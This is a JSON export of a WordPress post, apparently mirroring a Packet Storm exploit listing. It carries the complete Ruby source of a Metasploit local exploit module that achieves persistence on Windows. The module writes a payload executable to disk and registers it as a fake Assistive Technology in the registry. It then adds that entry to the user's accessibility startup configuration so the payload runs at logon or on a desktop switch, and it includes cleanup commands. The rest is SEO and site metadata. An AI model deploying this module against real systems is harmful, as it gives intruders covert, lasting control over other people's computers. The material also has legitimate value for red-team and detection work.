{"id":32450,"date":"2025-12-22T11:56:22","date_gmt":"2025-12-22T11:56:22","guid":{"rendered":"http:\/\/localhost\/?p=32450"},"modified":"2025-12-22T11:56:22","modified_gmt":"2025-12-22T11:56:22","slug":"assistive-technologies-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32450","title":{"rendered":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:15:05&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT executable during user logon or desktop switch such as with an admin privileged program&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Assistive Technologies Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213221&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Local\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Post::File\\n      include Msf::Exploit::EXE\\n      include Msf::Exploit::Local::Persistence\\n      prepend Msf::Exploit::Remote::AutoCheck\\n      include Msf::Post::Windows::Registry\\n      include Msf::Post::Windows::Priv\\n    \\n      AT_REG_PATH = &#8216;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATs&#8217;\\n      STARUP_REG_PATH = &#8216;HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility&#8217;\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Assistive Technologies Persistence&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.\\n              Then it configures the system to launch the AT executable during user logon or desktop switch (such as with\\n              an admin prived program).\\n              Requires Windows 8 or higher and administrative privileges.\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;h00die&#8217;],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;win&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_X64, ARCH_X86, ARCH_AARCH64],\\n    \\n            &#8216;SessionTypes&#8217; =\\u003e [&#8216;meterpreter&#8217;, &#8216;shell&#8217;],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.hexacorn.com\/blog\/2016\/07\/22\/beyond-good-ol-run-key-part-42\/&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/msdn.microsoft.com\/ru-ru\/library\/windows\/desktop\/bb879984.aspx&#8217;]\\n            ],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [ &#8216;Automatic&#8217;, {} ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2016-07-22&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n              &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;PAYLOAD_NAME&#8217;, [false, &#8216;Name of payload file to write. Random string as default.&#8217;]),\\n          OptString.new(&#8216;NAME&#8217;, [false, &#8216;Name of assistive technolog to create. Random string as default.&#8217;]),\\n          OptString.new(&#8216;DESCRIPTION&#8217;, [false, &#8216;Description of assistive technolog to create. Random string as default.&#8217;]),\\n        ])\\n      end\\n    \\n      def create_at(at_name, payload_path)\\n        target_key = \\&#8221;#{AT_REG_PATH}\\\\\\\\#{at_name}\\&#8221;\\n        at_description = datastore[&#8216;DESCRIPTION&#8217;] || Rex::Text.rand_text_alpha((rand(6..13)))\\n    \\n        registry_createkey(target_key)\\n        registry_setvaldata(target_key, &#8216;ApplicationName&#8217;, &#8216;@%SystemRoot%\\\\\\\\system32\\\\\\\\AccessibilityCPL.dll,-85&#8217;, &#8216;REG_EXPAND_SZ&#8217;)\\n        registry_setvaldata(target_key, &#8216;ATExe&#8217;, payload_path.split(&#8216;\\\\\\\\&#8217;).last, &#8216;REG_SZ&#8217;)\\n        registry_setvaldata(target_key, &#8216;CopySettingsToLockedDesktop&#8217;, 1, &#8216;REG_DWORD&#8217;)\\n        registry_setvaldata(target_key, &#8216;Description&#8217;, at_description, &#8216;REG_SZ&#8217;)\\n        registry_setvaldata(target_key, &#8216;Profile&#8217;, &#8216;\\u003cHCIModel\\u003e\\u003cAccommodation type=\\&#8221;mild dexterity\\&#8221;\\u003c\/HCIModel\\u003e&#8217;, &#8216;REG_SZ&#8217;) # https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/winauto\/ease-of-access&#8212;assistive-technology-registration?redirectedfrom=MSDN#hci-profile\\n        registry_setvaldata(target_key, &#8216;SimpleProfile&#8217;, at_name, &#8216;REG_SZ&#8217;)\\n        registry_setvaldata(target_key, &#8216;StartExe&#8217;, payload_path, &#8216;REG_EXPAND_SZ&#8217;)\\n        registry_setvaldata(target_key, &#8216;TerminateOnDesktopSwitch&#8217;, 0, &#8216;REG_DWORD&#8217;)\\n      end\\n    \\n      def writable_dir\\n        d = super\\n        return session.sys.config.getenv(d) if d.start_with?(&#8216;%&#8217;)\\n    \\n        d\\n      end\\n    \\n      def check\\n        print_warning(&#8216;Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.&#8217;) if datastore[&#8216;WritableDir&#8217;].start_with?(&#8216;%TEMP%&#8217;) # check the original value\\n        return CheckCode::Safe(\\&#8221;#{writable_dir} doesnt exist\\&#8221;) unless exists?(writable_dir)\\n    \\n        version = get_version_info\\n        return CheckCode::Safe(&#8216;Only supported on Windows 8 and above&#8217;) unless version.build_number \\u003e= Msf::WindowsVersion::Win8\\n    \\n        return CheckCode::Safe(&#8216;You have admin rights to run this Module&#8217;) unless is_admin?\\n    \\n        CheckCode::Appears(&#8216;Likely exploitable&#8217;)\\n      end\\n    \\n      def install_persistence\\n        payload_name = datastore[&#8216;PAYLOAD_NAME&#8217;] || Rex::Text.rand_text_alpha((rand(6..13)))\\n        temp_path = writable_dir\\n        payload_exe = generate_payload_exe\\n        payload_pathname = temp_path + &#8216;\\\\\\\\&#8217; + payload_name\\n        payload_pathname += &#8216;.exe&#8217; unless payload_pathname.downcase.end_with?(&#8216;.exe&#8217;)\\n    \\n        vprint_status(\\&#8221;Payload pathname: #{payload_pathname}\\&#8221;)\\n        fail_with(Failure::UnexpectedReply, \\&#8221;Error writing payload to: #{payload_pathname}\\&#8221;) unless write_file(payload_pathname, payload_exe)\\n        at_name = datastore[&#8216;NAME&#8217;] || Rex::Text.rand_text_alpha((rand(6..13)))\\n        vprint_status(\\&#8221;Creating Assistive Technology #{at_name} registry entries\\&#8221;)\\n        create_at(at_name, payload_pathname)\\n        vprint_status(&#8216;Setting AT to start during login&#8217;)\\n        current_value = registry_getvaldata(STARUP_REG_PATH, &#8216;Configuration&#8217;)\\n        new_value = current_value.empty? ? [] : current_value.split(&#8216;,&#8217;).map(\\u0026:strip)\\n        new_value.append(at_name)\\n        registry_setvaldata(STARUP_REG_PATH, &#8216;Configuration&#8217;, new_value.join(&#8216;,&#8217;), &#8216;REG_SZ&#8217;)\\n    \\n        print_good(&#8216;New AT added. Will launch on logon or desktop switch (such as with an admin prived program).&#8217;)\\n        @clean_up_rc \\u003c\\u003c \\&#8221;rm \\\\\\&#8221;#{payload_pathname.gsub(&#8216;\\\\\\\\&#8217;, &#8216;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\&#8217;)}\\\\\\&#8221;\\\\n\\&#8221;\\n        @clean_up_rc \\u003c\\u003c \\&#8221;execute -f cmd.exe -a &#8216;\/c reg delete \\\\\\&#8221;#{AT_REG_PATH}\\\\\\\\#{at_name}\\\\\\&#8221; \/f&#8217; -H\\\\n\\&#8221;\\n        @clean_up_rc \\u003c\\u003c \\&#8221;execute -f cmd.exe -a &#8216;\/c reg add \\\\\\&#8221;#{STARUP_REG_PATH}\\\\\\&#8221; \/v Configuration \/t REG_SZ \/d \\\\\\&#8221;#{current_value}\\\\\\&#8221; \/f&#8217; -H\\\\n\\&#8221;\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213221&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213221\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:15:05&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32450","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32450\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:15:05&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32450\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-22T11:56:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221\",\"datePublished\":\"2025-12-22T11:56:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450\"},\"wordCount\":962,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32450#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450\",\"name\":\"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-22T11:56:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32450\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32450#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32450","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:15:05&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT...","og_url":"https:\/\/zero.redgem.net\/?p=32450","og_site_name":"zero redgem","article_published_time":"2025-12-22T11:56:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32450#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32450"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221","datePublished":"2025-12-22T11:56:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32450"},"wordCount":962,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32450#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32450","url":"https:\/\/zero.redgem.net\/?p=32450","name":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-22T11:56:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32450#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32450"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32450#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Assistive Technologies Persistence_PACKETSTORM:213221"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32450"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32450\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}